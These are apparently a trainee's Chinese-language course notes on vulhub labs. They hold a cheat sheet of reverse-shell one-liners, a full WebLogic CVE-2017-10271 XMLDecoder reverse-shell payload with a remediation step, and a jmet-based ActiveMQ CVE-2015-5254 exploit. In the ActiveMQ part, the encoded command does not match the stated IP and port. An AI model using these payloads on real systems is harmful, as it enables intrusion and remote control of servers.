【网络安全1x07】安恒厂家网络安全培训 --- day7

上午教室占用,休息。

下午讲了两个vulhub靶机,有XMLDecoder 反序列化漏洞,ActiveMQ反序列化漏洞。

常用反弹shell命令

1
2
3
4
5
6
7
8
9
10
11
bash -i >& /dev/tcp/[kali_ip]/[nc_port] 0>&1
#下面的都和第一条等价
bash -i &> /dev/tcp/[kali_ip]/[nc_port] 0>&1
bash -i >& /dev/tcp/[kali_ip]/[nc_port] 0<&1
bash -i >& /dev/tcp/[kali_ip]/[nc_port] <&1
bash -i >& /dev/tcp/[kali_ip]/[nc_port] <&2
bash -i 1> /dev/tcp/[kali_ip]/[nc_port] 2>&1 0>&1

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [kali_ip] [nc_port]>/tmp/f

exec 5<>/dev/tcp/[kali_ip]/[nc_port];cat <&5|while read line;do $line>&5 2>&1;done

Weblogic 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)

影响版本

  • OracleWebLogic Server10.3.6.0.0
  • OracleWebLogic Server12.1.3.0.0
  • OracleWebLogic Server12.2.1.1.0
  • OracleWebLogic Server12.2.1.2.0

漏洞原理

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

漏洞利用

抓包修改payload,nc监听,反弹shell。

  1. 原数据包:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET / HTTP/1.1

Host: 192.168.137.129:7001

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0
  1. 修改payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#第二行修改为靶机IP
#<string>标签改为攻击机IP及监听端口

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: [靶机ip]:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/[攻击机IP]/[监听端口] 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
  1. nc反弹shell:
1
nc -lvp 21

漏洞修复

删除WebLogic wls-wsat组件:

1
2
3
4
5
rm -rf wlserver_10.3/server/lib/wls-wsat.war

rm -rf user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

rm -rf user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat/

ActiveMQ反序列化漏洞(CVE-2015-5254)

漏洞原理

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

影响版本

  • 5.13.0之前5.x版本

漏洞利用

  1. 下载jmet的jar文件:
1
2
3
4
5
cd /opt

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

mkdir external
  1. 上传信息给靶机61616端口,明文内容在burpsuite进行base64加密:
1
2
3
4
5
6
7
8
#明文消息
bash -i >& /dev/tcp/192.168.137.128/4444 0>&1

#base加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMjgvNDQ0NCAwPiYx

#上传命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzMS4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.137.129 61616
  1. 本地开启nc监听:
1
nc -lvp 4444
  1. 访问靶机8161端口:http://192.168.137.129:8161/admin/browse.jsp?JMSDestination=event,点击信息,得到反弹shell。